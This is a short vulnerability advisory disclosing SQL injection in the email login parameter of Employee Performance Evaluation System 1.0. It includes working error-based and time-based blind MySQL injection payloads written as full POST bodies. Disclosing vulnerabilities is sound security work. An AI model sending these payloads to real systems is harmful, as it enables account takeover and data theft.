Employee Performance Evaluation System 1.0 SQL Injection

`## Title: Employee Performance Evaluation v1.0 SQLi  
## Author: nu11secur1ty  
## Date: 03.11.2022  
## Vendor: https://www.sourcecodester.com/users/tips23  
## Software: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation  
  
## Description:  
The `email` parameter appears to be vulnerable to SQL injection attacks.  
A single quote was submitted in the email parameter, and a database  
error message was returned.  
Two single quotes were then submitted and the error message  
disappeared. You should review the contents of the error message, and  
the application's handling of other input, to confirm whether a  
vulnerability is present.  
The attacker can take administrator account control and also of all  
accounts on this system, also the malicious user can download all  
information about this system.  
  
Status: CRITICAL  
  
[+] Payloads:  
  
```mysql  
  
---  
Parameter: email (POST)  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: [email protected]' AND (SELECT 6536  
FROM(SELECT COUNT(*),CONCAT(0x71786a7071,(SELECT  
(ELT(6536=6536,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--  
iQpA&password=hacked&login=0  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: [email protected]' AND (SELECT 2365 FROM  
(SELECT(SLEEP(5)))lFkz)-- xqup&password=hacked&login=0  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation)  
  
## Proof and Exploit:  
[href](https://streamable.com/9q1tni)  
  
  
`